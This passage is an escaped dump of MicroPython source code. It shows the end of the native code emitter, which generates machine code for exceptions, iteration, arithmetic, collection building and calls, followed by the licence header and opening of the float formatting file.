1);\n}\n\nSTATIC void emit_native_setup_except(emit_t *emit, mp_uint_t label) {\n    emit_native_pre(emit);\n    // need to commit stack because we may jump elsewhere\n    need_stack_settled(emit);\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_1, sizeof(nlr_buf_t) / sizeof(mp_uint_t)); // arg1 = pointer to nlr buf\n    emit_call(emit, MP_F_NLR_PUSH);\n    ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_setup_finally(emit_t *emit, mp_uint_t label) {\n    emit_native_setup_except(emit, label);\n}\n\nSTATIC void emit_native_end_finally(emit_t *emit) {\n    // logic:\n    //   exc = pop_stack\n    //   if exc == None: pass\n    //   else: raise exc\n    // the check if exc is None is done in the MP_F_NATIVE_RAISE stub\n    vtype_kind_t vtype;\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // get nlr_buf.ret_val\n    emit_pre_pop_discard(emit); // discard nlr_buf.prev\n    emit_call(emit, MP_F_NATIVE_RAISE);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_get_iter(emit_t *emit, bool use_stack) {\n    // perhaps the difficult one, as we want to rewrite for loops using native code\n    // in cases where we iterate over a Python object, can we use normal runtime calls?\n\n    vtype_kind_t vtype;\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_1);\n    assert(vtype == VTYPE_PYOBJ);\n    if (use_stack) {\n        emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_2, MP_OBJ_ITER_BUF_NSLOTS);\n        emit_call(emit, MP_F_NATIVE_GETITER);\n    } else {\n        // mp_getiter will allocate the iter_buf on the heap\n        ASM_MOV_IMM_TO_REG(emit->as, 0, REG_ARG_2);\n        emit_call(emit, MP_F_NATIVE_GETITER);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    }\n}\n\nSTATIC void emit_native_for_iter(emit_t *emit, mp_uint_t label) {\n    emit_native_pre(emit);\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_1, MP_OBJ_ITER_BUF_NSLOTS);\n    adjust_stack(emit, MP_OBJ_ITER_BUF_NSLOTS);\n    emit_call(emit, MP_F_NATIVE_ITERNEXT);\n    ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)MP_OBJ_STOP_ITERATION, REG_TEMP1);\n    ASM_JUMP_IF_REG_EQ(emit->as, REG_RET, REG_TEMP1, label);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_for_iter_end(emit_t *emit) {\n    // adjust stack counter (we get here from for_iter ending, which popped the value for us)\n    emit_native_pre(emit);\n    adjust_stack(emit, -MP_OBJ_ITER_BUF_NSLOTS);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_pop_block(emit_t *emit) {\n    emit_native_pre(emit);\n    emit_call(emit, MP_F_NLR_POP);\n    adjust_stack(emit, -(mp_int_t)(sizeof(nlr_buf_t) / sizeof(mp_uint_t)) + 1);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_pop_except(emit_t *emit) {\n    (void)emit;\n}\n\nSTATIC void emit_native_unary_op(emit_t *emit, mp_unary_op_t op) {\n    vtype_kind_t vtype;\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_2);\n    if (vtype == VTYPE_PYOBJ) {\n        emit_call_with_imm_arg(emit, MP_F_UNARY_OP, op, REG_ARG_1);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    } else {\n        adjust_stack(emit, 1);\n        EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n            \"unary op %q not implemented\", mp_unary_op_method_name[op]);\n    }\n}\n\nSTATIC void emit_native_binary_op(emit_t *emit, mp_binary_op_t op) {\n    DEBUG_printf(\"binary_op(\" UINT_FMT \")\\n\", op);\n    vtype_kind_t vtype_lhs = peek_vtype(emit, 1);\n    vtype_kind_t vtype_rhs = peek_vtype(emit, 0);\n    if (vtype_lhs == VTYPE_INT && vtype_rhs == VTYPE_INT) {\n        #if N_X64 || N_X86\n        // special cases for x86 and shifting\n        if (op == MP_BINARY_OP_LSHIFT\n            || op == MP_BINARY_OP_INPLACE_LSHIFT\n            || op == MP_BINARY_OP_RSHIFT\n            || op == MP_BINARY_OP_INPLACE_RSHIFT) {\n            #if N_X64\n            emit_pre_pop_reg_reg(emit, &vtype_rhs, ASM_X64_REG_RCX, &vtype_lhs, REG_RET);\n            #else\n            emit_pre_pop_reg_reg(emit, &vtype_rhs, ASM_X86_REG_ECX, &vtype_lhs, REG_RET);\n            #endif\n            if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) {\n                ASM_LSL_REG(emit->as, REG_RET);\n            } else {\n                ASM_ASR_REG(emit->as, REG_RET);\n            }\n            emit_post_push_reg(emit, VTYPE_INT, REG_RET);\n            return;\n        }\n        #endif\n        int reg_rhs = REG_ARG_3;\n        emit_pre_pop_reg_flexible(emit, &vtype_rhs, &reg_rhs, REG_RET, REG_ARG_2);\n        emit_pre_pop_reg(emit, &vtype_lhs, REG_ARG_2);\n        if (0) {\n            // dummy\n        #if !(N_X64 || N_X86)\n        } else if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) {\n            ASM_LSL_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_RSHIFT || op == MP_BINARY_OP_INPLACE_RSHIFT) {\n            ASM_ASR_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        #endif\n        } else if (op == MP_BINARY_OP_OR || op == MP_BINARY_OP_INPLACE_OR) {\n            ASM_OR_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_XOR || op == MP_BINARY_OP_INPLACE_XOR) {\n            ASM_XOR_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_AND || op == MP_BINARY_OP_INPLACE_AND) {\n            ASM_AND_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_ADD || op == MP_BINARY_OP_INPLACE_ADD) {\n            ASM_ADD_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_SUBTRACT || op == MP_BINARY_OP_INPLACE_SUBTRACT) {\n            ASM_SUB_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (op == MP_BINARY_OP_MULTIPLY || op == MP_BINARY_OP_INPLACE_MULTIPLY) {\n            ASM_MUL_REG_REG(emit->as, REG_ARG_2, reg_rhs);\n            emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2);\n        } else if (MP_BINARY_OP_LESS <= op && op <= MP_BINARY_OP_NOT_EQUAL) {\n            // comparison ops are (in enum order):\n            //  MP_BINARY_OP_LESS\n            //  MP_BINARY_OP_MORE\n            //  MP_BINARY_OP_EQUAL\n            //  MP_BINARY_OP_LESS_EQUAL\n            //  MP_BINARY_OP_MORE_EQUAL\n            //  MP_BINARY_OP_NOT_EQUAL\n            need_reg_single(emit, REG_RET, 0);\n            #if N_X64\n            asm_x64_xor_r64_r64(emit->as, REG_RET, REG_RET);\n            asm_x64_cmp_r64_with_r64(emit->as, reg_rhs, REG_ARG_2);\n            static byte ops[6] = {\n                ASM_X64_CC_JL,\n                ASM_X64_CC_JG,\n                ASM_X64_CC_JE,\n                ASM_X64_CC_JLE,\n                ASM_X64_CC_JGE,\n                ASM_X64_CC_JNE,\n            };\n            asm_x64_setcc_r8(emit->as, ops[op - MP_BINARY_OP_LESS], REG_RET);\n            #elif N_X86\n            asm_x86_xor_r32_r32(emit->as, REG_RET, REG_RET);\n            asm_x86_cmp_r32_with_r32(emit->as, reg_rhs, REG_ARG_2);\n            static byte ops[6] = {\n                ASM_X86_CC_JL,\n                ASM_X86_CC_JG,\n                ASM_X86_CC_JE,\n                ASM_X86_CC_JLE,\n                ASM_X86_CC_JGE,\n                ASM_X86_CC_JNE,\n            };\n            asm_x86_setcc_r8(emit->as, ops[op - MP_BINARY_OP_LESS], REG_RET);\n            #elif N_THUMB\n            asm_thumb_cmp_rlo_rlo(emit->as, REG_ARG_2, reg_rhs);\n            static uint16_t ops[6] = {\n                ASM_THUMB_OP_ITE_GE,\n                ASM_THUMB_OP_ITE_GT,\n                ASM_THUMB_OP_ITE_EQ,\n                ASM_THUMB_OP_ITE_GT,\n                ASM_THUMB_OP_ITE_GE,\n                ASM_THUMB_OP_ITE_EQ,\n            };\n            static byte ret[6] = { 0, 1, 1, 0, 1, 0, };\n            asm_thumb_op16(emit->as, ops[op - MP_BINARY_OP_LESS]);\n            asm_thumb_mov_rlo_i8(emit->as, REG_RET, ret[op - MP_BINARY_OP_LESS]);\n            asm_thumb_mov_rlo_i8(emit->as, REG_RET, ret[op - MP_BINARY_OP_LESS] ^ 1);\n            #elif N_ARM\n            asm_arm_cmp_reg_reg(emit->as, REG_ARG_2, reg_rhs);\n            static uint ccs[6] = {\n                ASM_ARM_CC_LT,\n                ASM_ARM_CC_GT,\n                ASM_ARM_CC_EQ,\n                ASM_ARM_CC_LE,\n                ASM_ARM_CC_GE,\n                ASM_ARM_CC_NE,\n            };\n            asm_arm_setcc_reg(emit->as, REG_RET, ccs[op - MP_BINARY_OP_LESS]);\n            #elif N_XTENSA\n            static uint8_t ccs[6] = {\n                ASM_XTENSA_CC_LT,\n                0x80 | ASM_XTENSA_CC_LT, // for GT we'll swap args\n                ASM_XTENSA_CC_EQ,\n                0x80 | ASM_XTENSA_CC_GE, // for LE we'll swap args\n                ASM_XTENSA_CC_GE,\n                ASM_XTENSA_CC_NE,\n            };\n            uint8_t cc = ccs[op - MP_BINARY_OP_LESS];\n            if ((cc & 0x80) == 0) {\n                asm_xtensa_setcc_reg_reg_reg(emit->as, cc, REG_RET, REG_ARG_2, reg_rhs);\n            } else {\n                asm_xtensa_setcc_reg_reg_reg(emit->as, cc & ~0x80, REG_RET, reg_rhs, REG_ARG_2);\n            }\n            #else\n                #error not implemented\n            #endif\n            emit_post_push_reg(emit, VTYPE_BOOL, REG_RET);\n        } else {\n            // TODO other ops not yet implemented\n            adjust_stack(emit, 1);\n            EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                \"binary op %q not implemented\", mp_binary_op_method_name[op]);\n        }\n    } else if (vtype_lhs == VTYPE_PYOBJ && vtype_rhs == VTYPE_PYOBJ) {\n        emit_pre_pop_reg_reg(emit, &vtype_rhs, REG_ARG_3, &vtype_lhs, REG_ARG_2);\n        bool invert = false;\n        if (op == MP_BINARY_OP_NOT_IN) {\n            invert = true;\n            op = MP_BINARY_OP_IN;\n        } else if (op == MP_BINARY_OP_IS_NOT) {\n            invert = true;\n            op = MP_BINARY_OP_IS;\n        }\n        emit_call_with_imm_arg(emit, MP_F_BINARY_OP, op, REG_ARG_1);\n        if (invert) {\n            ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET);\n            emit_call_with_imm_arg(emit, MP_F_UNARY_OP, MP_UNARY_OP_NOT, REG_ARG_1);\n        }\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    } else {\n        adjust_stack(emit, -1);\n        EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n            \"can't do binary op between '%q' and '%q'\",\n            vtype_to_qstr(vtype_lhs), vtype_to_qstr(vtype_rhs));\n    }\n}\n\nSTATIC void emit_native_build_tuple(emit_t *emit, mp_uint_t n_args) {\n    // for viper: call runtime, with types of args\n    //   if wrapped in byte_array, or something, allocates memory and fills it\n    emit_native_pre(emit);\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items\n    emit_call_with_imm_arg(emit, MP_F_BUILD_TUPLE, n_args, REG_ARG_1);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new tuple\n}\n\nSTATIC void emit_native_build_list(emit_t *emit, mp_uint_t n_args) {\n    emit_native_pre(emit);\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items\n    emit_call_with_imm_arg(emit, MP_F_BUILD_LIST, n_args, REG_ARG_1);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new list\n}\n\nSTATIC void emit_native_build_map(emit_t *emit, mp_uint_t n_args) {\n    emit_native_pre(emit);\n    emit_call_with_imm_arg(emit, MP_F_BUILD_MAP, n_args, REG_ARG_1);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new map\n}\n\nSTATIC void emit_native_store_map(emit_t *emit) {\n    vtype_kind_t vtype_key, vtype_value, vtype_map;\n    emit_pre_pop_reg_reg_reg(emit, &vtype_key, REG_ARG_2, &vtype_value, REG_ARG_3, &vtype_map, REG_ARG_1); // key, value, map\n    assert(vtype_key == VTYPE_PYOBJ);\n    assert(vtype_value == VTYPE_PYOBJ);\n    assert(vtype_map == VTYPE_PYOBJ);\n    emit_call(emit, MP_F_STORE_MAP);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // map\n}\n\n#if MICROPY_PY_BUILTINS_SET\nSTATIC void emit_native_build_set(emit_t *emit, mp_uint_t n_args) {\n    emit_native_pre(emit);\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items\n    emit_call_with_imm_arg(emit, MP_F_BUILD_SET, n_args, REG_ARG_1);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new set\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_SLICE\nSTATIC void emit_native_build_slice(emit_t *emit, mp_uint_t n_args) {\n    DEBUG_printf(\"build_slice %d\\n\", n_args);\n    if (n_args == 2) {\n        vtype_kind_t vtype_start, vtype_stop;\n        emit_pre_pop_reg_reg(emit, &vtype_stop, REG_ARG_2, &vtype_start, REG_ARG_1); // arg1 = start, arg2 = stop\n        assert(vtype_start == VTYPE_PYOBJ);\n        assert(vtype_stop == VTYPE_PYOBJ);\n        emit_call_with_imm_arg(emit, MP_F_NEW_SLICE, (mp_uint_t)mp_const_none, REG_ARG_3); // arg3 = step\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    } else {\n        assert(n_args == 3);\n        vtype_kind_t vtype_start, vtype_stop, vtype_step;\n        emit_pre_pop_reg_reg_reg(emit, &vtype_step, REG_ARG_3, &vtype_stop, REG_ARG_2, &vtype_start, REG_ARG_1); // arg1 = start, arg2 = stop, arg3 = step\n        assert(vtype_start == VTYPE_PYOBJ);\n        assert(vtype_stop == VTYPE_PYOBJ);\n        assert(vtype_step == VTYPE_PYOBJ);\n        emit_call(emit, MP_F_NEW_SLICE);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    }\n}\n#endif\n\nSTATIC void emit_native_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t collection_index) {\n    mp_fun_kind_t f;\n    if (kind == SCOPE_LIST_COMP) {\n        vtype_kind_t vtype_item;\n        emit_pre_pop_reg(emit, &vtype_item, REG_ARG_2);\n        assert(vtype_item == VTYPE_PYOBJ);\n        f = MP_F_LIST_APPEND;\n    #if MICROPY_PY_BUILTINS_SET\n    } else if (kind == SCOPE_SET_COMP) {\n        vtype_kind_t vtype_item;\n        emit_pre_pop_reg(emit, &vtype_item, REG_ARG_2);\n        assert(vtype_item == VTYPE_PYOBJ);\n        f = MP_F_STORE_SET;\n    #endif\n    } else {\n        // SCOPE_DICT_COMP\n        vtype_kind_t vtype_key, vtype_value;\n        emit_pre_pop_reg_reg(emit, &vtype_key, REG_ARG_2, &vtype_value, REG_ARG_3);\n        assert(vtype_key == VTYPE_PYOBJ);\n        assert(vtype_value == VTYPE_PYOBJ);\n        f = MP_F_STORE_MAP;\n    }\n    vtype_kind_t vtype_collection;\n    emit_access_stack(emit, collection_index, &vtype_collection, REG_ARG_1);\n    assert(vtype_collection == VTYPE_PYOBJ);\n    emit_call(emit, f);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_unpack_sequence(emit_t *emit, mp_uint_t n_args) {\n    DEBUG_printf(\"unpack_sequence %d\\n\", n_args);\n    vtype_kind_t vtype_base;\n    emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = seq\n    assert(vtype_base == VTYPE_PYOBJ);\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, n_args); // arg3 = dest ptr\n    emit_call_with_imm_arg(emit, MP_F_UNPACK_SEQUENCE, n_args, REG_ARG_2); // arg2 = n_args\n}\n\nSTATIC void emit_native_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right) {\n    DEBUG_printf(\"unpack_ex %d %d\\n\", n_left, n_right);\n    vtype_kind_t vtype_base;\n    emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = seq\n    assert(vtype_base == VTYPE_PYOBJ);\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, n_left + n_right + 1); // arg3 = dest ptr\n    emit_call_with_imm_arg(emit, MP_F_UNPACK_EX, n_left | (n_right << 8), REG_ARG_2); // arg2 = n_left + n_right\n}\n\nSTATIC void emit_native_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) {\n    // call runtime, with type info for args, or don't support dict/default params, or only support Python objects for them\n    emit_native_pre(emit);\n    if (n_pos_defaults == 0 && n_kw_defaults == 0) {\n        emit_call_with_3_imm_args_and_first_aligned(emit, MP_F_MAKE_FUNCTION_FROM_RAW_CODE, (mp_uint_t)scope->raw_code, REG_ARG_1, (mp_uint_t)MP_OBJ_NULL, REG_ARG_2, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3);\n    } else {\n        vtype_kind_t vtype_def_tuple, vtype_def_dict;\n        emit_pre_pop_reg_reg(emit, &vtype_def_dict, REG_ARG_3, &vtype_def_tuple, REG_ARG_2);\n        assert(vtype_def_tuple == VTYPE_PYOBJ);\n        assert(vtype_def_dict == VTYPE_PYOBJ);\n        emit_call_with_imm_arg_aligned(emit, MP_F_MAKE_FUNCTION_FROM_RAW_CODE, (mp_uint_t)scope->raw_code, REG_ARG_1);\n    }\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) {\n    emit_native_pre(emit);\n    if (n_pos_defaults == 0 && n_kw_defaults == 0) {\n        emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_closed_over);\n        ASM_MOV_IMM_TO_REG(emit->as, n_closed_over, REG_ARG_2);\n    } else {\n        emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_closed_over + 2);\n        ASM_MOV_IMM_TO_REG(emit->as, 0x100 | n_closed_over, REG_ARG_2);\n    }\n    ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, (mp_uint_t)scope->raw_code, REG_ARG_1);\n    ASM_CALL_IND(emit->as, mp_fun_table[MP_F_MAKE_CLOSURE_FROM_RAW_CODE], MP_F_MAKE_CLOSURE_FROM_RAW_CODE);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) {\n    DEBUG_printf(\"call_function(n_pos=\" UINT_FMT \", n_kw=\" UINT_FMT \", star_flags=\" UINT_FMT \")\\n\", n_positional, n_keyword, star_flags);\n\n    // TODO: in viper mode, call special runtime routine with type info for args,\n    // and wanted type info for return, to remove need for boxing/unboxing\n\n    emit_native_pre(emit);\n    vtype_kind_t vtype_fun = peek_vtype(emit, n_positional + 2 * n_keyword);\n    if (vtype_fun == VTYPE_BUILTIN_CAST) {\n        // casting operator\n        assert(n_positional == 1 && n_keyword == 0);\n        assert(!star_flags);\n        DEBUG_printf(\"  cast to %d\\n\", vtype_fun);\n        vtype_kind_t vtype_cast = peek_stack(emit, 1)->data.u_imm;\n        switch (peek_vtype(emit, 0)) {\n            case VTYPE_PYOBJ: {\n                vtype_kind_t vtype;\n                emit_pre_pop_reg(emit, &vtype, REG_ARG_1);\n                emit_pre_pop_discard(emit);\n                emit_call_with_imm_arg(emit, MP_F_CONVERT_OBJ_TO_NATIVE, vtype_cast, REG_ARG_2); // arg2 = type\n                emit_post_push_reg(emit, vtype_cast, REG_RET);\n                break;\n            }\n            case VTYPE_BOOL:\n            case VTYPE_INT:\n            case VTYPE_UINT:\n            case VTYPE_PTR:\n            case VTYPE_PTR8:\n            case VTYPE_PTR16:\n            case VTYPE_PTR32:\n            case VTYPE_PTR_NONE:\n                emit_fold_stack_top(emit, REG_ARG_1);\n                emit_post_top_set_vtype(emit, vtype_cast);\n                break;\n            default:\n                // this can happen when casting a cast: int(int)\n                mp_raise_NotImplementedError(\"casting\");\n        }\n    } else {\n        assert(vtype_fun == VTYPE_PYOBJ);\n        if (star_flags) {\n            emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword + 3); // pointer to args\n            emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW_VAR, 0, REG_ARG_1, n_positional | (n_keyword << 8), REG_ARG_2);\n            emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n        } else {\n            if (n_positional != 0 || n_keyword != 0) {\n                emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword); // pointer to args\n            }\n            emit_pre_pop_reg(emit, &vtype_fun, REG_ARG_1); // the function\n            emit_call_with_imm_arg(emit, MP_F_NATIVE_CALL_FUNCTION_N_KW, n_positional | (n_keyword << 8), REG_ARG_2);\n            emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n        }\n    }\n}\n\nSTATIC void emit_native_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) {\n    if (star_flags) {\n        emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword + 4); // pointer to args\n        emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW_VAR, 1, REG_ARG_1, n_positional | (n_keyword << 8), REG_ARG_2);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    } else {\n        emit_native_pre(emit);\n        emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 2 + n_positional + 2 * n_keyword); // pointer to items, including meth and self\n        emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, n_positional, REG_ARG_1, n_keyword, REG_ARG_2);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    }\n}\n\nSTATIC void emit_native_return_value(emit_t *emit) {\n    DEBUG_printf(\"return_value\\n\");\n    if (emit->do_viper_types) {\n        if (peek_vtype(emit, 0) == VTYPE_PTR_NONE) {\n            emit_pre_pop_discard(emit);\n            if (emit->return_vtype == VTYPE_PYOBJ) {\n                ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)mp_const_none, REG_RET);\n            } else {\n                ASM_MOV_IMM_TO_REG(emit->as, 0, REG_RET);\n            }\n        } else {\n            vtype_kind_t vtype;\n            emit_pre_pop_reg(emit, &vtype, REG_RET);\n            if (vtype != emit->return_vtype) {\n                EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                    \"return expected '%q' but got '%q'\",\n                    vtype_to_qstr(emit->return_vtype), vtype_to_qstr(vtype));\n            }\n        }\n    } else {\n        vtype_kind_t vtype;\n        emit_pre_pop_reg(emit, &vtype, REG_RET);\n        assert(vtype == VTYPE_PYOBJ);\n    }\n    emit->last_emit_was_return_value = true;\n    ASM_EXIT(emit->as);\n}\n\nSTATIC void emit_native_raise_varargs(emit_t *emit, mp_uint_t n_args) {\n    assert(n_args == 1);\n    vtype_kind_t vtype_exc;\n    emit_pre_pop_reg(emit, &vtype_exc, REG_ARG_1); // arg1 = object to raise\n    if (vtype_exc != VTYPE_PYOBJ) {\n        EMIT_NATIVE_VIPER_TYPE_ERROR(emit, \"must raise an object\");\n    }\n    // TODO probably make this 1 call to the runtime (which could even call convert, native_raise(obj, type))\n    emit_call(emit, MP_F_NATIVE_RAISE);\n}\n\nSTATIC void emit_native_yield_value(emit_t *emit) {\n    // not supported (for now)\n    (void)emit;\n    mp_raise_NotImplementedError(\"native yield\");\n}\nSTATIC void emit_native_yield_from(emit_t *emit) {\n    // not supported (for now)\n    (void)emit;\n    mp_raise_NotImplementedError(\"native yield from\");\n}\n\nSTATIC void emit_native_start_except_handler(emit_t *emit) {\n    // This instruction follows an nlr_pop, so the stack counter is back to zero, when really\n    // it should be up by a whole nlr_buf_t.  We then want to pop the nlr_buf_t here, but save\n    // the first 2 elements, so we can get the thrown value.\n    adjust_stack(emit, 1);\n    vtype_kind_t vtype_nlr;\n    emit_pre_pop_reg(emit, &vtype_nlr, REG_ARG_1); // get the thrown value\n    emit_pre_pop_discard(emit); // discard the linked-list pointer in the nlr_buf\n    emit_post_push_reg_reg_reg(emit, VTYPE_PYOBJ, REG_ARG_1, VTYPE_PYOBJ, REG_ARG_1, VTYPE_PYOBJ, REG_ARG_1); // push the 3 exception items\n}\n\nSTATIC void emit_native_end_except_handler(emit_t *emit) {\n    adjust_stack(emit, -1);\n}\n\nconst emit_method_table_t EXPORT_FUN(method_table) = {\n    emit_native_set_native_type,\n    emit_native_start_pass,\n    emit_native_end_pass,\n    emit_native_last_emit_was_return_value,\n    emit_native_adjust_stack_size,\n    emit_native_set_source_line,\n\n    {\n        emit_native_load_fast,\n        emit_native_load_deref,\n        emit_native_load_name,\n        emit_native_load_global,\n    },\n    {\n        emit_native_store_fast,\n        emit_native_store_deref,\n        emit_native_store_name,\n        emit_native_store_global,\n    },\n    {\n        emit_native_delete_fast,\n        emit_native_delete_deref,\n        emit_native_delete_name,\n        emit_native_delete_global,\n    },\n\n    emit_native_label_assign,\n    emit_native_import_name,\n    emit_native_import_from,\n    emit_native_import_star,\n    emit_native_load_const_tok,\n    emit_native_load_const_small_int,\n    emit_native_load_const_str,\n    emit_native_load_const_obj,\n    emit_native_load_null,\n    emit_native_load_attr,\n    emit_native_load_method,\n    emit_native_load_build_class,\n    emit_native_load_subscr,\n    emit_native_store_attr,\n    emit_native_store_subscr,\n    emit_native_delete_attr,\n    emit_native_delete_subscr,\n    emit_native_dup_top,\n    emit_native_dup_top_two,\n    emit_native_pop_top,\n    emit_native_rot_two,\n    emit_native_rot_three,\n    emit_native_jump,\n    emit_native_pop_jump_if,\n    emit_native_jump_if_or_pop,\n    emit_native_break_loop,\n    emit_native_continue_loop,\n    emit_native_setup_with,\n    emit_native_with_cleanup,\n    emit_native_setup_except,\n    emit_native_setup_finally,\n    emit_native_end_finally,\n    emit_native_get_iter,\n    emit_native_for_iter,\n    emit_native_for_iter_end,\n    emit_native_pop_block,\n    emit_native_pop_except,\n    emit_native_unary_op,\n    emit_native_binary_op,\n    emit_native_build_tuple,\n    emit_native_build_list,\n    emit_native_build_map,\n    emit_native_store_map,\n    #if MICROPY_PY_BUILTINS_SET\n    emit_native_build_set,\n    #endif\n    #if MICROPY_PY_BUILTINS_SLICE\n    emit_native_build_slice,\n    #endif\n    emit_native_store_comp,\n    emit_native_unpack_sequence,\n    emit_native_unpack_ex,\n    emit_native_make_function,\n    emit_native_make_closure,\n    emit_native_call_function,\n    emit_native_call_method,\n    emit_native_return_value,\n    emit_native_raise_varargs,\n    emit_native_yield_value,\n    emit_native_yield_from,\n\n    emit_native_start_except_handler,\n    emit_native_end_except_handler,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/formatfloat.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n#if MICROPY_FLOAT_IMPL != MICROPY_FLOAT_IMPL_NONE\n\n#include <assert.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include \"py/formatfloat.h\"\n\n/***********************************************************************\n\n  Routine for converting a arbitrary floating\n  point number into a string.\n\n  The code in this funcion was inspired from Fred Bayer's pdouble.c.\n  Since pdouble.c was released as Public Domain, I'm releasing this\n  code 